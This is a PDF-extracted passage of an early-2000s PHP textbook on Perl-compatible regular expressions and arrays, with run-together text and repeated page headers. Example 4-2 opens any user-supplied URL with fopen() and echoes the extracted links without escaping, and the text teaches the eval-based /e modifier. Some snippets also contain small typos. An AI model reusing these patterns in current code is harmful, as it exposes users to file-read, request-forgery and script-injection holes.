Another, faster way is to use a character class to match every non-greater-than char-acter up to the next greater-than sign:

preg_match('/(<[^>]*>)/', 'do <b>not</b> press the button', $match);// $match[1] is '<b>'

Non-Capturing GroupsIf you enclose a part of a pattern in parentheses, the text that matches that subpat-tern is captured and can be accessed later. Sometimes, though, you want to create asubpattern without capturing the matching text. In Perl-compatible regular expres-sions, you can do this using the (?:subpattern) construct:

preg_match('/(?:ello)(.*)/', 'jello biafra', $match);// $match[1] is ' biafra'

BackreferencesYou can refer to text captured earlier in a pattern with a backreference: \1 refers tothe contents of the first subpattern, \2 refers to the second, and so on. If you nestsubpatterns, the first begins with the first opening parenthesis, the second beginswith the second opening parenthesis, and so on.

For instance, this identifies doubled words:

preg_match('/([[:alpha:]]+)\s+\1/', 'Paris in the the spring', $m);// returns true and $m[1] is 'the'

You can’t capture more than 99 subpatterns.

Table 4-11. Greedy and non-greedy quantifiers in Perl-compatible regular expressions

Greedy quantifier Non-greedy quantifier

? ??

* *?

+ +?

{m} {m}?

{m,} {m,}?

{m,n} {m,n}?

,ch04.15552 Page 106 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (107)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 107

Trailing OptionsPerl-style regular expressions let you put single-letter options (flags) after the regularexpression pattern to modify the interpretation, or behavior, of the match. Forinstance, to match case-insensitively, simply use the i flag:

preg_match('/cat/i', 'Stop, Catherine!'); // returns true

Table 4-12 shows the modifiers from Perl that are supported in Perl-compatible regu-lar expressions.

PHP’s Perl-compatible regular expression functions also support other modifiers thataren’t supported by Perl, as listed in Table 4-13.

It’s possible to use more than one option in a single pattern, as demonstrated in thefollowing example:

$message = <<< ENDTo: you@youcorpFrom: me@mecorpSubject: pay up

Pay me or else!END;preg_match('/^subject: (.*)/im', $message, $match);// $match[1] is 'pay up'

Table 4-12. Perl flags

Modifier Meaning

/regexp/i Match case-insensitively.

/regexp/s Make period (.) match any character, including newline (\n).

/regexp/x Remove whitespace and comments from the pattern.

/regexp/m Make caret (^) match after, and dollar sign ($) match before, internal newlines (\n).

/regexp/e If the replacement string is PHP code, eval( ) it to get the actual replacement string.

Table 4-13. Additional PHP flags

Modifier Meaning

/regexp/U Reverses the greediness of the subpattern; * and + now match as little as possible, instead of as muchas possible

/regexp/u Causes pattern strings to be treated as UTF-8

/regexp/X Causes a backslash followed by a character with no special meaning to emit an error

/regexp/A Causes the beginning of the string to be anchored as if the first character of the pattern were ^

/regexp/D Causes the $ character to match only at the end of a line

/regexp/S Causes the expression parser to more carefully examine the structure of the pattern, so it may runslightly faster the next time (such as in a loop)

,ch04.15552 Page 107 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (108)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

108 | Chapter 4: Strings

Inline OptionsIn addition to specifying patternwide options after the closing pattern delimiter, youcan specify options within a pattern to have them apply only to part of the pattern.The syntax for this is:

(?flags:subpattern)

For example, only the word “PHP” is case-insensitive in this example:

preg_match('/I like (?i:PHP)/', 'I like pHp'); // returns true

The i, m, s, U, x, and X options can be applied internally in this fashion. You can usemultiple options at once:

preg_match('/eat (?ix:fo o d)/', 'eat FoOD'); // returns true

Prefix an option with a hyphen (-) to turn it off:

preg_match('/(?-i:I like) PHP/i', 'I like pHp'); // returns true

An alternative form enables or disables the flags until the end of the enclosing sub-pattern or pattern:

preg_match('/I like (?i)PHP/', 'I like pHp'); // returns truepreg_match('/I (like (?i)PHP) a lot/', 'I like pHp a lot', $match);// $match[1] is 'like pHp'

Inline flags do not enable capturing. You need an additional set of capturing paren-theses do that.

Lookahead and LookbehindIt’s sometimes useful in patterns to be able to say “match here if this is next.” This isparticularly common when you are splitting a string. The regular expressiondescribes the separator, which is not returned. You can use lookahead to make sure(without matching it, thus preventing it from being returned) that there’s more dataafter the separator. Similarly, lookbehind checks the preceding text.

Lookahead and lookbehind come in two forms: positive and negative. A positive look-ahead or lookbehind says “the next/preceding text must be like this.” A negative loo-kahead or lookbehind says “the next/preceding text must not be like this.” Table 4-14shows the four constructs you can use in Perl-compatible patterns. None of the con-structs captures text.

Table 4-14. Lookahead and lookbehind assertions

Construct Meaning

(?=subpattern) Positive lookahead

(?!subpattern) Negative lookahead

(?<=subpattern) Positive lookbehind

(?<!subpattern) Negative lookbehind

,ch04.15552 Page 108 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (109)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 109

A simple use of positive lookahead is splitting a Unix mbox mail file into individualmessages. The word "From" starting a line by itself indicates the start of a new mes-sage, so you can split the mailbox into messages by specifying the separator as thepoint where the next text is "From" at the start of a line:

$messages = preg_split('/(?=^From )/m', $mailbox);

A simple use of negative lookbehind is to extract quoted strings that contain quoteddelimiters. For instance, here’s how to extract a single-quoted string (note that theregular expression is commented using the x modifier):

$input = <<< ENDname = 'Tim O\'Reilly';END;

$pattern = <<< END' # opening quote( # begin capturing .*? # the string (?<! \\\\ ) # skip escaped quotes) # end capturing' # closing quoteEND;preg_match( "($pattern)x", $input, $match);echo $match[1];Tim O\'Reilly

The only tricky part is that, to get a pattern that looks behind to see if the last charac-ter was a backslash, we need to escape the backslash to prevent the regular expres-sion engine from seeing "\)", which would mean a literal close parenthesis. In otherwords, we have to backslash that backslash: "\\)". But PHP’s string-quoting rulessay that \\ produces a literal single backslash, so we end up requiring four back-slashes to get one through the regular expression! This is why regular expressionshave a reputation for being hard to read.

Perl limits lookbehind to constant-width expressions. That is, the expressions can-not contain quantifiers, and if you use alternation, all the choices must be the samelength. The Perl-compatible regular expression engine also forbids quantifiers inlookbehind, but does permit alternatives of different lengths.

CutThe rarely used once-only subpattern, or cut, prevents worst-case behavior by theregular expression engine on some kinds of patterns. Once matched, the subpatternis never backed out of.

The common use for the once-only subpattern is when you have a repeated expres-sion that may itself be repeated:

/(a+|b+)*\.+/

,ch04.15552 Page 109 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (110)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

110 | Chapter 4: Strings

This code snippet takes several seconds to report failure:

$p = '/(a+|b+)*\.+$/';$s = 'abababababbabbbabbaaaaaabbbbabbababababababbba..!';if (preg_match($p, $s)) { echo "Y";} else { echo "N";}

This is because the regular expression engine tries all the different places to start thematch, but has to backtrack out of each one, which takes time. If you know thatonce something is matched it should never be backed out of, you should mark itwith (?>subpattern):

$p = '/(?>a+|b+)*\.+$/';

The cut never changes the outcome of the match; it simply makes it fail faster.

Conditional ExpressionsA conditional expression is like an if statement in a regular expression. The generalform is:

(?(condition)yespattern)(?(condition)yespattern|nopattern)

If the assertion succeeds, the regular expression engine matches the yespattern. Withthe second form, if the assertion doesn’t succeed, the regular expression engine skipsthe yespattern and tries to match the nopattern.

The assertion can be one of two types: either a backreference, or a lookahead orlookbehind match. To reference a previously matched substring, the assertion is anumber from 1–99 (the most backreferences available). The condition uses the pat-tern in the assertion only if the backreference was matched. If the assertion is not abackreference, it must be a positive or negative lookahead or lookbehind assertion.

FunctionsThere are five classes of functions that work with Perl-compatible regular expres-sions: matching, replacing, splitting, filtering, and a utility function for quoting text.

Matching

The preg_match( ) function performs Perl-style pattern matching on a string. It’s theequivalent of the m// operator in Perl. The preg_match( ) function takes the samearguments and gives the same return value as the ereg( ) function, except that ittakes a Perl-style pattern instead of a standard pattern:

$found = preg_match(pattern, string [, captured ]);

,ch04.15552 Page 110 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (111)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 111

For example:

preg_match('/y.*e$/', 'Sylvie'); // returns truepreg_match('/y(.*)e$/', Sylvie', $m); // $m is array('Sylvie', 'lvi')

While there’s an eregi( ) function to match case-insensitively, there’s no preg_matchi( ) function. Instead, use the i flag on the pattern:

preg_match('y.*e$/i', 'SyLvIe'); // returns true

The preg_match_all( ) function repeatedly matches from where the last matchended, until no more matches can be made:

$found = preg_match_all(pattern, string, matches [, order ]);

The order value, either PREG_PATTERN_ORDER or PREG_SET_ORDER, determines the layoutof matches. We’ll look at both, using this code as a guide:

$string = <<< END13 dogs12 rabbits8 cows1 goatEND;preg_match_all('/(\d+) (\S+)/', $string, $m1, PREG_PATTERN_ORDER);preg_match_all('/(\d+) (\S+)/', $string, $m2, PREG_SET_ORDER);

With PREG_PATTERN_ORDER (the default), each element of the array corresponds to aparticular capturing subpattern. So $m1[0] is an array of all the substrings thatmatched the pattern, $m1[1] is an array of all the substrings that matched the firstsubpattern (the numbers), and $m1[2] is an array of all the substrings that matchedthe second subpattern (the words). The array $m1 has one more elements than sub-patterns.

With PREG_SET_ORDER, each element of the array corresponds to the next attempt tomatch the whole pattern. So $m2[0] is an array of the first set of matches ('13 dogs','13', 'dogs'), $m2[1] is an array of the second set of matches ('12 rabbits', '12','rabbits'), and so on. The array $m2 has as many elements as there were successfulmatches of the entire pattern.

Example 4-2 fetches the HTML at a particular web address into a string and extractsthe URLs from that HTML. For each URL, it generates a link back to the programthat will display the URLs at that address.

Example 4-2. Extracting URLs from an HTML page

<?php if (getenv('REQUEST_METHOD') == 'POST') { $url = $_POST[url]; } else { $url = $_GET[url]; }?>

,ch04.15552 Page 111 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (112)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

112 | Chapter 4: Strings

Replacing

The preg_replace( ) function behaves like the search and replace operation in yourtext editor. It finds all occurrences of a pattern in a string and changes those occur-rences to something else:

$new = preg_replace(pattern, replacement, subject [, limit ]);

The most common usage has all the argument strings, except for the integer limit.The limit is the maximum number of occurrences of the pattern to replace (thedefault, and the behavior when a limit of -1 is passed, is all occurrences).

$better = preg_replace('/<.*?>/', '!', 'do <b>not</b> press the button');// $better is 'do !not! press the button'

<form action="<?php $PHP_SELF ?>" method="POST">URL: <input type="text" name="url" value="<?php $url ?>" /><br><input type="submit"></form>

<?php if ($url) { $remote = fopen($url, 'r'); $html = fread($remote, 1048576); // read up to 1 MB of HTML fclose($remote);

$urls = '(http|telnet|gopher|file|wais|ftp)'; $ltrs = '\w'; $gunk = '/#~:.?+=&%@!\-'; $punc = '.:?\-'; $any = "$ltrs$gunk$punc";

preg_match_all("{ \b # start at word boundary $urls : # need resource and a colon [$any] +? # followed by one or more of any valid # characters--but be conservative # and take only what you need (?= # the match ends at [$punc]* # punctuation [^$any] # followed by a non-URL character | # or $ # the end of the string ) }x", $html, $matches); printf("I found %d URLs<P>\n", sizeof($matches[0])); foreach ($matches[0] as $u) { $link = $PHP_SELF . '?url=' . urlencode($u); echo "<A HREF='$link'>$u</A><BR>\n"; }?>

Example 4-2. Extracting URLs from an HTML page (continued)

,ch04.15552 Page 112 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (113)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 113

Pass an array of strings as subject to make the substitution on all of them. The newstrings are returned from preg_replace( ):

$names = array('Fred Flintstone', 'Barney Rubble', 'Wilma Flintstone', 'Betty Rubble');$tidy = preg_replace('/(\w)\w* (\w+)/', '\1 \2', $names);// $tidy is array ('F Flintstone', 'B Rubble', 'W Flintstone', 'B Rubble')

To perform multiple substitutions on the same string or array of strings with one callto preg_replace( ), pass arrays of patterns and replacements:

$contractions = array("/don't/i", "/won't/i", "/can't/i");$expansions = array('do not', 'will not', 'can not');$string = "Please don't yell--I can't jump while you won't speak";$longer = preg_replace($contractions, $expansions, $string);// $longer is 'Please do not yell--I can not jump while you will not speak';

If you give fewer replacements than patterns, text matching the extra patterns isdeleted. This is a handy way to delete a lot of things at once:

$html_gunk = array('/<.*?>/', '/&.*?;/');$html = '&eacute; : <b>very</b> cute';$stripped = preg_replace($html_gunk, array( ), $html);// $stripped is ' : very cute'

If you give an array of patterns but a single string replacement, the same replace-ment is used for every pattern:

$stripped = preg_replace($html_gunk, '', $html);

The replacement can use backreferences. Unlike backreferences in patterns, though,the preferred syntax for backreferences in replacements is $1, $2, $3, etc. For example:

echo preg_replace('/(\w)\w+\s+(\w+)/', '$2, $1.', 'Fred Flintstone')Flintstone, F.

The /e modifier makes preg_replace( ) treat the replacement string as PHP code thatreturns the actual string to use in the replacement. For example, this converts everyCelsius temperature to Fahrenheit:

$string = 'It was 5C outside, 20C inside';echo preg_replace('/(\d+)C\b/e', '$1*9/5+32', $string);It was 41 outside, 68 inside

This more complex example expands variables in a string:

$name = 'Fred';$age = 35;$string = '$name is $age';preg_replace('/\$(\w+)/e', '$$1', $string);

Each match isolates the name of a variable ($name, $age). The $1 in the replacementrefers to those names, so the PHP code actually executed is $name and $age. That codeevaluates to the value of the variable, which is what’s used as the replacement. Whew!

,ch04.15552 Page 113 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (114)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

114 | Chapter 4: Strings

Splitting

Whereas you use preg_match_all( ) to extract chunks of a string when you knowwhat those chunks are, use preg_split( ) to extract chunks when you know whatseparates the chunks from each other:

$chunks = preg_split(pattern, string [, limit [, flags ]]);

The pattern matches a separator between two chunks. By default, the separators arenot returned. The optional limit specifies the maximum number of chunks to return(-1 is the default, which means all chunks). The flags argument is a bitwise ORcombination of the flags PREG_SPLIT_NO_EMPTY (empty chunks are not returned) andPREG_SPLIT_DELIM_CAPTURE (parts of the string captured in the pattern are returned).

For example, to extract just the operands from a simple numeric expression, use:

$ops = preg_split('{[+*/-]}', '3+5*9/2');// $ops is array('3', '5', '9', '2')

To extract the operands and the operators, use:

$ops = preg_split('{([+*/-])}', '3+5*9/2', -1, PREG_SPLIT_DELIM_CAPTURE);// $ops is array('3', '+', '5', '*', '9', '/', '2')

An empty pattern matches at every boundary between characters in the string. Thislets you split a string into an array of characters:

$array = preg_split('//', $string);

A variation on preg_replace( ) is preg_replace_callback( ). This calls a function toget the replacement string. The function is passed an array of matches (the zerothelement is all the text that matched the pattern, the first is the contents of the firstcaptured subpattern, and so on). For example:

function titlecase ($s) { return ucfirst(strtolower($s[0]));}

$string = 'goodbye cruel world';$new = preg_replace_callback('/\w+/', 'titlecase', $string);echo $new;Goodbye Cruel World

Filtering an array with a regular expression

The preg_grep( ) function returns those elements of an array that match a givenpattern:

$matching = preg_grep(pattern, array);

For instance, to get only the filenames that end in .txt, use:

$textfiles = preg_grep('/\.txt$/', $filenames);

,ch04.15552 Page 114 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (115)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Perl-Compatible Regular Expressions | 115

Quoting for regular expressions

The preg_quote( ) function creates a regular expression that matches only a givenstring:

$re = preg_quote(string [, delimiter ]);

Every character in string that has special meaning inside a regular expression (e.g., *or $) is prefaced with a backslash:

echo preg_quote('$5.00 (five bucks)');\$5\.00 \(five bucks\)

The optional second argument is an extra character to be quoted. Usually, you passyour regular expression delimiter here:

$to_find = '/usr/local/etc/rsync.conf';$re = preg_quote($filename, '/');if (preg_match("/$re", $filename)) { // found it!}

Differences from Perl Regular ExpressionsAlthough very similar, PHP’s implementation of Perl-style regular expressions has afew minor differences from actual Perl regular expressions:

• The null character (ASCII 0) is not allowed as a literal character within a patternstring. You can reference it in other ways, however (\000, \x00, etc.).

• The \E, \G, \L, \l, \Q, \u, and \U options are not supported.

• The (?{ some perl code }) construct is not supported.

• The /D, /G, /U, /u, /A, and /X modifiers are supported.

• The vertical tab \v counts as a whitespace character.

• Lookahead and lookbehind assertions cannot be repeated using *, +, or ?.

• Parenthesized submatches within negative assertions are not remembered.

• Alternation branches within a lookbehind assertion can be of different lengths.

,ch04.15552 Page 115 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (116)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

116

Chapter 5CHAPTER 5

Arrays

As we discussed in Chapter 2, PHP supports both scalar and compound data types.In this chapter, we’ll discuss one of the compound types: arrays. An array is a collec-tion of data values, organized as an ordered collection of key-value pairs.

This chapter talks about creating an array, adding and removing elements from anarray, and looping over the contents of an array. There are many built-in functionsthat work with arrays in PHP, because arrays are very common and useful. For exam-ple, if you want to send email to more than one email address, you’ll store the emailaddresses in an array and then loop through the array, sending the message to thecurrent email address. Also, if you have a form that permits multiple selections, theitems the user selected are returned in an array.

Indexed Versus Associative ArraysThere are two kinds of arrays in PHP: indexed and associative. The keys of anindexed array are integers, beginning at 0. Indexed arrays are used when you identifythings by their position. Associative arrays have strings as keys and behave more liketwo-column tables. The first column is the key, which is used to access the value.

PHP internally stores all arrays as associative arrays, so the only difference betweenassociative and indexed arrays is what the keys happen to be. Some array features areprovided mainly for use with indexed arrays, because they assume that you have orwant keys that are consecutive integers beginning at 0. In both cases, the keys areunique—that is, you can’t have two elements with the same key, regardless ofwhether the key is a string or an integer.

PHP arrays have an internal order to their elements that is independent of the keysand values, and there are functions that you can use to traverse the arrays based onthis internal order. The order is normally that in which values were inserted into thearray, but the sorting functions described later let you change the order to one basedon keys, values, or anything else you choose.

,ch05.15699 Page 116 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (117)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Storing Data in Arrays | 117

Identifying Elements of an ArrayYou can access specific values from an array using the array variable’s name, fol-lowed by the element’s key (sometimes called the index) within square brackets:

$age['Fred']$shows[2]

The key can be either a string or an integer. String values that are equivalent to inte-ger numbers (without leading zeros) are treated as integers. Thus, $array[3] and$array['3'] reference the same element, but $array['03'] references a different ele-ment. Negative numbers are valid keys, and they don’t specify positions from theend of the array as they do in Perl.

You don’t have to quote single-word strings. For instance, $age['Fred'] is the sameas $age[Fred]. However, it’s considered good PHP style to always use quotes,because quoteless keys are indistinguishable from constants. When you use a con-stant as an unquoted index, PHP uses the value of the constant as the index:

define('index',5);echo $array[index]; // retrieves $array[5], not $array['index'];

You must use quotes if you’re using interpolation to build the array index:

$age["Clone$number"]

However, don’t quote the key if you’re interpolating an array lookup:

// these are wrongprint "Hello, $person['name']";print "Hello, $person["name"]";// this is rightprint "Hello, $person[name]";

Storing Data in ArraysStoring a value in an array will create the array if it didn’t already exist, but trying toretrieve a value from an array that hasn’t been defined yet won’t create the array. Forexample:

// $addresses not defined before this pointecho $addresses[0]; // prints nothingecho $addresses; // prints nothing$addresses[0] = '[emailprotected]';echo $addresses; // prints "Array"

Using simple assignment to initialize an array in your program leads to code like this:

$addresses[0] = '[emailprotected]';$addresses[1] = '[emailprotected]';$addresses[2] = '[emailprotected]';// ...

,ch05.15699 Page 117 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (118)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

118 | Chapter 5: Arrays

That’s an indexed array, with integer indexes beginning at 0. Here’s an associativearray:

$price['Gasket'] = 15.29;$price['Wheel'] = 75.25;$price['Tire'] = 50.00;// ...

An easier way to initialize an array is to use the array( ) construct, which builds anarray from its arguments:

$addresses = array('[emailprotected]', '[emailprotected]', '[emailprotected]');

To create an associative array with array( ), use the => symbol to separate indexesfrom values:

$price = array('Gasket' => 15.29, 'Wheel' => 75.25, 'Tire' => 50.00);

Notice the use of whitespace and alignment. We could have bunched up the code,but it wouldn’t have been as easy to read:

$price = array('Gasket'=>15.29,'Wheel'=>75.25,'Tire'=>50.00);

To construct an empty array, pass no arguments to array( ):

$addresses = array( );

You can specify an initial key with => and then a list of values. The values areinserted into the array starting with that key, with subsequent values having sequen-tial keys:

$days = array(1 => 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday');// 2 is Tuesday, 3 is Wednesday, etc.

If the initial index is a non-numeric string, subsequent indexes are integers begin-ning at 0. Thus, the following code is probably a mistake:

$whoops = array('Friday' => 'Black', 'Brown', 'Green');// same as$whoops = array('Friday' => 'Black', 0 => 'Brown', 1 => 'Green');

Adding Values to the End of an ArrayTo insert more values into the end of an existing indexed array, use the [] syntax:

$family = array('Fred', 'Wilma');$family[] = 'Pebbles'; // $family[2] is 'Pebbles'

This construct assumes the array’s indexes are numbers and assigns elements into thenext available numeric index, starting from 0. Attempting to append to an associative

,ch05.15699 Page 118 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (119)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Storing Data in Arrays | 119

array is almost always a programmer mistake, but PHP will give the new elementsnumeric indexes without issuing a warning:

$person = array('name' => 'Fred');$person[] = 'Wilma'; // $person[0] is now 'Wilma'

Assigning a Range of ValuesThe range( ) function creates an array of consecutive integer or character valuesbetween the two values you pass to it as arguments. For example:

$numbers = range(2, 5); // $numbers = array(2, 3, 4, 5);$letters = range('a', 'z'); // $numbers holds the alphabet$reversed_numbers = range(5, 2); // $numbers = array(5, 4, 3, 2);

Only the first letter of a string argument is used to build the range:

range('aaa', 'zzz') /// same as range('a','z')

Getting the Size of an ArrayThe count( ) and sizeof( ) functions are identical in use and effect. They return thenumber of elements in the array. There is no stylistic preference about which func-tion you use. Here’s an example:

$family = array('Fred', 'Wilma', 'Pebbles');$size = count($family); // $size is 3

These functions do not consult any numeric indexes that might be present:

$confusion = array( 10 => 'ten', 11 => 'eleven', 12 => 'twelve');$size = count($confusion); // $size is 3

Padding an ArrayTo create an array initialized to the same value, use array_pad( ). The first argumentto array_pad( ) is the array, the second argument is the minimum number of ele-ments you want the array to have, and the third argument is the value to give any ele-ments that are created. The array_pad( ) function returns a new padded array,leaving its argument array alone.

Here’s array_pad( ) in action:

$scores = array(5, 10);$padded = array_pad($scores, 5, 0); // $padded is now array(5, 10, 0, 0, 0)

Notice how the new values are appended to the end of the array. If you want the newvalues added to the start of the array, use a negative second argument:

$padded = array_pad($scores, -5, 0);

,ch05.15699 Page 119 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (120)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

120 | Chapter 5: Arrays

Assign the results of array_pad( ) back to the original array to get the effect of an insitu change:

$scores = array_pad($scores, 5, 0);

If you pad an associative array, existing keys will be preserved. New elements willhave numeric keys starting at 0.

Multidimensional ArraysThe values in an array can themselves be arrays. This lets you easily create multidi-mensional arrays:

$row_0 = array(1, 2, 3);$row_1 = array(4, 5, 6);$row_2 = array(7, 8, 9);$multi = array($row_0, $row_1, $row_2);

You can refer to elements of multidimensional arrays by appending more []s:

$value = $multi[2][0]; // row 2, column 0. $value = 7

To interpolate a lookup of a multidimensional array, you must enclose the entirearray lookup in curly braces:

echo("The value at row 2, column 0 is {$multi[2][0]}\n");

Failing to use the curly braces results in output like this:

The value at row 2, column 0 is Array[0]

Extracting Multiple ValuesTo copy all of an array’s values into variables, use the list( ) construct:

list($variable, ...) = $array;

The array’s values are copied into the listed variables, in the array’s internal order. Bydefault that’s the order in which they were inserted, but the sort functions describedlater let you change that. Here’s an example:

$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Betty');list($n, $a, $w) = $person; // $n is 'Fred', $a is 35, $w is 'Betty'

If you have more values in the array than in the list( ), the extra values are ignored:

$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Betty');list($n, $a) = $person; // $n is 'Fred', $a is 35

If you have more values in the list( ) than in the array, the extra values are set toNULL:

$values = array('hello', 'world');list($a, $b, $c) = $values; // $a is 'hello', $b is 'world', $c is NULL

,ch05.15699 Page 120 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (121)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Extracting Multiple Values | 121

Two or more consecutive commas in the list( ) skip values in the array:

$values = range('a', 'e');list($m,,$n,,$o) = $values; // $m is 'a', $n is 'c', $o is 'e'

Slicing an ArrayTo extract only a subset of the array, use the array_slice( ) function:

$subset = array_slice(array, offset, length);

The array_slice( ) function returns a new array consisting of a consecutive series ofvalues from the original array. The offset parameter identifies the initial element tocopy (0 represents the first element in the array), and the length parameter identifiesthe number of values to copy. The new array has consecutive numeric keys startingat 0. For example:

$people = array('Tom', 'Dick', 'Harriet', 'Brenda', 'Jo');$middle = array_slice($people, 2, 2); // $middle is array('Harriet', 'Brenda')

It is generally only meaningful to use array_slice( ) on indexed arrays (i.e., thosewith consecutive integer indexes, starting at 0):

// this use of array_slice( ) makes no sense$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Betty');$subset = array_slice($person, 1, 2); // $subset is array(0 => 35, 1 => 'Betty')

Combine array_slice( ) with list( ) to extract only some values to variables:

$order = array('Tom', 'Dick', 'Harriet', 'Brenda', 'Jo');list($second, $third) = array_slice($order, 1, 2);// $second is 'Dick', $third is 'Harriet'

Splitting an Array into ChunksTo divide an array into smaller, evenly sized arrays, use the array_chunk( ) function:

$chunks = array_chunk(array, size [, preserve_keys]);

The function returns an array of the smaller arrays. The third argument, preserve_keys, is a Boolean value that determines whether the elements of the new arrays havethe same keys as in the original (useful for associative arrays) or new numeric keysstarting from 0 (useful for indexed arrays). The default is to assign new keys, asshown here:

$nums = range(1, 7);$rows = array_chunk($nums, 3);print_r($rows);Array( [0] => Array ( [0] => 1

,ch05.15699 Page 121 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (122)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

122 | Chapter 5: Arrays

[1] => 2 [2] => 3 ) [1] => Array ( [0] => 4 [1] => 5 [2] => 6 ) [2] => Array ( [0] => 7 ))

Keys and ValuesThe array_keys( ) function returns an array consisting of only the keys in the array,in internal order:

$array_of_keys = array_keys(array);

Here’s an example:

$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');$keys = array_keys($person); // $keys is array('name', 'age', 'wife')

PHP also provides a (less generally useful) function to retrieve an array of just the val-ues in an array, array_values( ):

$array_of_values = array_values(array);

As with array_keys( ), the values are returned in the array’s internal order:

$values = array_values($person); // $values is array('Fred', 35, 'Wilma');

Checking Whether an Element ExistsTo see if an element exists in the array, use the array_key_exists( ) function:

if (array_key_exists(key, array)) { ... }

The function returns a Boolean value that indicates whether the second argument isa valid key in the array given as the first argument.

It’s not sufficient to simply say:

if ($person['name']) { ... } // this can be misleading

Even if there is an element in the array with the key name, its corresponding valuemight be false (i.e., 0, NULL, or the empty string). Instead, use array_key_exists( ) asfollows:

$person['age'] = 0; // unborn?if ($person['age']) {

,ch05.15699 Page 122 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (123)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Extracting Multiple Values | 123

echo "true!\n";}if (array_key_exists('age', $person)) { echo "exists!\n";}exists!

In PHP 4.0.6 and earlier versions, the array_key_exists( ) function was called key_exists( ). The original name is still retained as an alias for the new name.

Many people use the isset( ) function instead, which returns true if the elementexists and is not NULL:

$a = array(0,NULL,'');function tf($v) { return $v ? "T" : "F"; }for ($i=0; $i < 4; $i++) { printf("%d: %s %s\n", $i, tf(isset($a[$i])), tf(array_key_exists($i, $a)));}0: T T1: F T2: T T3: F F

Removing and Inserting Elements in an ArrayThe array_splice( ) function can remove or insert elements in an array:

$removed = array_splice(array, start [, length [, replacement ] ]);

We’ll look at array_splice( ) using this array:

$subjects = array('physics', 'chem', 'math', 'bio', 'cs', 'drama', 'classics');

We can remove the math, bio, and cs elements by telling array_splice( ) to start atposition 2 and remove 3 elements:

$removed = array_splice($subjects, 2, 3);// $removed is array('math', 'bio', 'cs')// $subjects is array('physics', 'chem');

If you omit the length, array_splice( ) removes to the end of the array:

$removed = array_splice($subjects, 2);// $removed is array('math', 'bio', 'cs', 'drama', 'classics')// $subjects is array('physics', 'chem');

If you simply want to delete the elements and you don’t care about their values, youdon’t need to assign the results of array_splice( ):

array_splice($subjects, 2);// $subjects is array('physics', 'chem');

To insert elements where others were removed, use the fourth argument:

$new = array('law', 'business', 'IS');array_splice($subjects, 4, 3, $new);// $subjects is array('physics', 'chem', 'math', 'bio', 'law', 'business', 'IS')

,ch05.15699 Page 123 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (124)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

124 | Chapter 5: Arrays

The size of the replacement array doesn’t have to be the same as the number of ele-ments you delete. The array grows or shrinks as needed:

$new = array('law', 'business', 'IS');array_splice($subjects, 2, 4, $new);// $subjects is array('physics', 'chem', 'math', 'law', 'business', 'IS')

To get the effect of inserting new elements into the array, delete zero elements:

$subjects = array('physics', 'chem', 'math');$new = array('law', 'business');array_splice($subjects, 2, 0, $new);// $subjects is array('physics', 'chem', 'law', 'business', 'math')

Although the examples so far have used an indexed array, array_splice( ) also workson associative arrays:

$capitals = array('USA' => 'Washington', 'Great Britain' => 'London', 'New Zealand' => 'Wellington', 'Australia' => 'Canberra', 'Italy' => 'Rome');$down_under = array_splice($capitals, 2, 2); // remove New Zealand and Australia$france = array('France' => 'Paris');array_splice($capitals, 1, 0, $france); // insert France between USA and G.B.

